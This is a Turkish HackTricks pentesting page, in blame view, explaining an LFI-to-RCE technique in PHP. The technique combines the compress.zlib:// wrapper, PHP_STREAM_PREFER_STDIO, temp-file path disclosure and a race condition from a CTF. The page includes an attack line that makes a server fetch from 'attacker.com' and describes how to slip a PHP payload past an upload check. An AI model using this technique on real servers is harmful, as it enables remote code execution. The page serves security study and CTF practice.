hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

62 lines
4.2 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları:
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 18:14:16 +00:00
## `compress.zlib://` ve `PHP_STREAM_PREFER_STDIO`
2022-04-21 00:07:27 +00:00
2024-02-10 18:14:16 +00:00
`compress.zlib://` protokolü kullanılarak açılan bir dosya, `PHP_STREAM_PREFER_STDIO` bayrağı ile aynı dosyaya daha sonra bağlantıya gelen verileri yazmaya devam edebilir.
2022-04-21 00:07:27 +00:00
2024-02-10 18:14:16 +00:00
Bu, aşağıdaki gibi bir çağrı anlamına gelir:
2022-04-21 00:07:27 +00:00
```php
file_get_contents("compress.zlib://http://attacker.com/file")
```
2024-02-10 18:14:16 +00:00
Aşağıdaki kod parçasında, sunucu isteği geçerli bir HTTP yanıtıyla yanıtlayabilir, bağlantıyıık tutabilir ve daha sonra zamanla ekstra veri gönderebilir. Bu bilgiyi php-src kodunun main/streams/cast.c bölümünde görebilirsiniz.
2022-04-21 00:07:27 +00:00
```c
/* Use a tmpfile and copy the old streams contents into it */
2024-02-10 18:14:16 +00:00
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
2022-04-21 00:07:27 +00:00
```
2024-02-10 18:14:16 +00:00
## RCE için Yarış Koşulu
2022-04-21 00:07:27 +00:00
2024-02-10 18:14:16 +00:00
Önceki hile kullanılarak [**bu CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) çözüldü.
2022-04-21 00:07:27 +00:00
2024-02-10 18:14:16 +00:00
Saldırgan, **`compress.zlib`** protokolünü kullanarak **hedef sunucunun saldırganın sunucusundan bir dosyayı okumasını sağlayacak bir bağlantı açmasını** sağlayacak.
2022-04-21 00:07:27 +00:00
2024-02-10 18:14:16 +00:00
Bu **bağlantı** varken saldırgan, sunucu tarafından sızdırılan geçici dosyanın yolunu **dışarı çıkaracak**.
2022-04-21 00:07:27 +00:00
2024-02-10 18:14:16 +00:00
**Bağlantı** hala açıkken saldırgan, kontrol ettiği geçici dosyayı yükleyen bir LFI'yi **sömürecek**.
2022-04-21 00:07:27 +00:00
2024-02-10 18:14:16 +00:00
Ancak, web sunucusunda **`<?` içeren dosyaların yüklenmesini engelleyen bir kontrol** bulunmaktadır. Bu nedenle, saldırgan bir **Yarış Koşulu**ndan yararlanacaktır. Hala açık olan bağlantıda, **saldırgan**, web sunucusunun yasaklanmış karakterleri içeren dosyayı kontrol ettiği **SONRA PHP payload'ını GÖNDERECEKTİR** ancak **İÇERİĞİNİ yüklemeden önce**.
2022-04-21 00:07:27 +00:00
2024-02-10 18:14:16 +00:00
Daha fazla bilgi için Yarış Koşulu ve CTF'nin açıklamasını [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) adresinden kontrol edin.
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları:
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github reposuna PR göndererek paylaşın.
2022-04-28 16:01:33 +00:00
</details>